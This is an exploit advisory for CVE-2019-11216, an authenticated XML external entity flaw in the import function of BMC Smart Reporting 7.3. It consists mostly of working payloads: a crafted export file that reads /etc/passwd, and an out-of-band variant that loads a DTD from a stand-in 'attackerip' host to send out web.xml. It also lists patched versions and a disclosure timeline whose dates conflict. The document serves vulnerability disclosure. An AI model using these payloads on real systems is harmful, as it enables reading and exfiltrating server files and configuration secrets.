BMC Smart Reporting 7.3 20180418 XML Injection

`<!--  
# Exploit Title: XXE in BMC Smart Reporting 7.3 20180418  
# Date: 11-12-2019  
# Exploit Author: David Herrero  
# Vendor Homepage: https://www.bmc.com/  
# Software Link:  
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html  
# Version: BMC Smart Reporting 7.3 20180418  
# Tested on: Linux  
# CVE : CVE-2019-11216  
# Category: vulnerability  
  
1. Description  
  
BMC Smart Reporting 7.3 20180418 allows authenticated XXE within the  
import functionality.  
One auhtenticated user with admin privileges can import a malicious XML  
file and perform XXE  
attacks to download local files from the server, or do DoS attacks with  
XML expansion attacks.  
XXE with direct response and XXE OOB are allowed  
  
  
2. Proof of Concept  
  
Login with an admin account into BMC Remedy Smart reporting, in the left  
menu select the option  
"Import", in the "Import File Selection" page upload a malicious XML  
file like this one:  
  
XML File for XXE Code in response:  
  
<?xml version="1.0" encoding="UTF-8"?><!-- SmartReporting export file  
--><!-- Generated at 2019-01-18 10:14 UTC (+0000) -->  
<!DOCTYPE data [  
<!ELEMENT data ANY >  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >  
]>  
<data>  
<info>  
<exportversion>4</exportversion>  
<exportsubversion>43</exportsubversion>  
<appversion>7.3</appversion>  
<buildversion>20180418</buildversion>  
<exportdate>2019-01-18 10:14 UTC (+0000)</exportdate>  
</info>  
<source>  
<id>66717</id>  
<sourceName>&xxe;</sourceName>  
<sourceDescription>testburpDESC</sourceDescription>  
<userName>test</userName>  
<password>Fi8IDs5q9p4=</password>  
<connectionTypeCode>GENERICUSER</connectionTypeCode>  
<connectionMethodCode>SSRS</connectionMethodCode>  
<connectionDriver>evil.com</connectionDriver>  
<databaseURL>http://wvil.com/a.txt</databaseURL>  
<databaseTypeCode>GENERICJDBC</databaseTypeCode>  
<minConnections>1</minConnections>  
<maxConnections>5</maxConnections>  
<connectionRefreshTime>3</connectionRefreshTime>  
<connectionTimeOut>180</connectionTimeOut>  
<accessCode>UNSECURE</accessCode>  
<platformTypeCode/>  
<maxRowCount>0</maxRowCount>  
<broadcastPermitted>true</broadcastPermitted>  
<subscribePermitted>true</subscribePermitted>  
<dataProfileEnabled>true</dataProfileEnabled>  
<localTimezoneCode>AUSTRALIA/SYDNEY</localTimezoneCode>  
<secondaryMinConnections>0</secondaryMinConnections>  
<secondaryMaxConnections>0</secondaryMaxConnections>  
<secondaryConnectionRefreshTime>0</secondaryConnectionRefreshTime>  
<secondaryConnectionTimeOut>0</secondaryConnectionTimeOut>  
<filterList/>  
<sourceParameterList>  
<sourceParameter>  
<id>0</id>  
<parameterTypeCode>TEXT</parameterTypeCode>  
<parameterKey>SOURCECLASSNAME</parameterKey>  
<parameterIndex>0</parameterIndex>  
  
<parameterValue>com.hof.sources.SSRSSourcePlatformImplementation</parameterValue>  
<documentId>0</documentId>  
<userVisible>true</userVisible>  
</sourceParameter>  
</sourceParameterList>  
</source>  
</data>  
  
After loading the file, the web application should show the file  
"/etc/passwd" inside the HTML code.  
When reading XML files, the exploit must use OOB XXE because the content  
of the file must be included inside "CDATA" tags, the XML payload is as  
follow:  
  
XML File for XXE CDATA exfiltration:  
  
!DOCTYPE data [  
<!ELEMENT data ANY >  
<!ENTITY % start "<![CDATA[">  
<!ENTITY % stuff SYSTEM "file:///path/to/webapps/root/WEB-INF/web.xml">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attackerip/evil1.xml">  
%dtd;  
]>  
[...]  
<sourceName>&all;</sourceName>  
[...]  
  
Content of "evil1.xml" is:  
  
<!ENTITY all "%start;%stuff;%end;">  
  
The vulnerable server must be able to reach the file uploaded at  
http://attackerip/evil1.xml.  
  
  
3. Solution:  
  
Remedy Smart Reporting version 9.1.03.001 requires upgrade to the latest  
hot fix bundle of this version.  
Remedy Smart Reporting version 9.1.04.002 requires upgrade to the latest  
hot fix bundle of this version.  
Remedy Smart Reporting version 18.05.05 requires upgrade to the latest  
hot fix bundle of this version.  
Remedy Smart Reporting version 19.02.01 requires upgrade to the latest  
hot fix bundle of this version.  
  
4. References  
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11216  
Vendor advisory:  
https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA21O000000dKWrSAM&type=Solution  
Product info:  
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html  
  
5. Dates  
01/18/2019 - Discovered Vulnerability  
04/12/2018 - CVE Reserved  
04/17/2018 - Details sent to Vendor  
05/07/2019 - Vendor confirms that product is vulnerable  
11/12/2019 - Vendor published an advisory  
11/12/2019 - Public disclosure  
  
-->  
  
  
`